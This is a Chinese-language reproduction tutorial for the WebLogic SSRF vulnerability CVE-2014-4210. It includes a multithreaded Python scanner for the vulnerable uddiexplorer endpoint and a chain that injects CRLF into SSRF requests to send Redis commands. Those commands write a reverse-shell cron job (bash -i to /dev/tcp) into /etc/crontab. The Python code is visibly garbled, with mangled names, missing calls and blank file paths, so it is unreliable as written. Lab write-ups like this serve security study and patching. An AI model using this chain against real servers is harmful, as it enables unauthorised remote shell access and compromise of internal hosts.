WeblogicSSRF漏洞(CVE-2014-4210)漏洞复现
漏洞概述:
服务端请求伪造(Server-Side Request Forgery),是⼀种有攻击者构造形成有服务端发起请求的⼀个安全漏洞。⼀般情况下,SSRF攻击的⽬标是从外⽹⽆法访问的内部系统。
SSRF形成的原因⼤都是由于服务端提供了从其他服务器应⽤获取数据的功能,且没有对⽬标地址做过滤与限制。⽐如从指定URL地址获取⽹页⽂本内容,加载指定地址的图⽚、⽂档等等。
SSRF⽤途:
1.内外⽹的端⼝和服务扫描。
2.主机本地敏感数据的读取。
3.内外⽹主机应⽤程序漏洞的利⽤。
4.内外⽹web站点漏洞的利⽤
影响版本:
weblogic 10.0.2 -- 10.3.6.0
漏洞环境:
Docker-compose build
Docker-compose up -d
复现过程:
1.漏洞位置。漏洞位置在uddiexplorer下的SearchPublicRegistries.jsp处。
漏洞位置
2.检测是否存在SSRF
2.1可直接
出现404说明是存在漏洞的。
2.2⽤burp抓包查看
测试是否存在SSRF漏洞,在url后跟端⼝,把url修改为⾃⼰搭建的服务器地址,访问开放的7001端⼝,发现返回如下信息:说明开放7001端⼝getsavefilename
存在端⼝报错
访问不存在的端⼝看下,不能到该服务,说明不存在该端⼝。
不存在端⼝报错
2.3也可⾃动检测:
poc:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.ptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator=
{ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".form at(ip=ip)
url = domain + payload
try:
html = (url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.ption.XML_SoapException',html)
if m:
mutex.acquire()
with open('','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = (url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html) if m:
up(1)
except Exception,e:
print e
def run(self):
while not pty():
domain = ()
mutex.acquire()
print domain
ip = _registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
⾃动检测
通过上⾯的测试,可以发现⽬标存在SSRF漏洞。
3.注⼊HTTP头,利⽤Redis反弹shell
%0a%0d来注⼊换⾏符,某些服这⾥要提下:Weblogic的SSRF有⼀个⽐较⼤的特点,其虽然是⼀个”GET/POST”请求,但是我们可以通过传⼊%0a%0d来注⼊换⾏符
务(如redis)是通过换⾏符来分隔每条命令,本环境可以通过该SSRF攻击内⽹中的redis服务器。
(1)主要发送3条redis的命令,将反弹shell脚本写⼊/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.20.0.2/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
(2)先通过前⾯⽅法探测内⽹开放6379端⼝,最后探测到172.20.0.2:6379开放
#192.168.220.128:5555 监听地址。
#172.20.0.2:6379 内⽹探测的redis地址及端⼝。
出现已经写⼊
getshell
反弹shell
漏洞修复:
升级⾼版本。
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论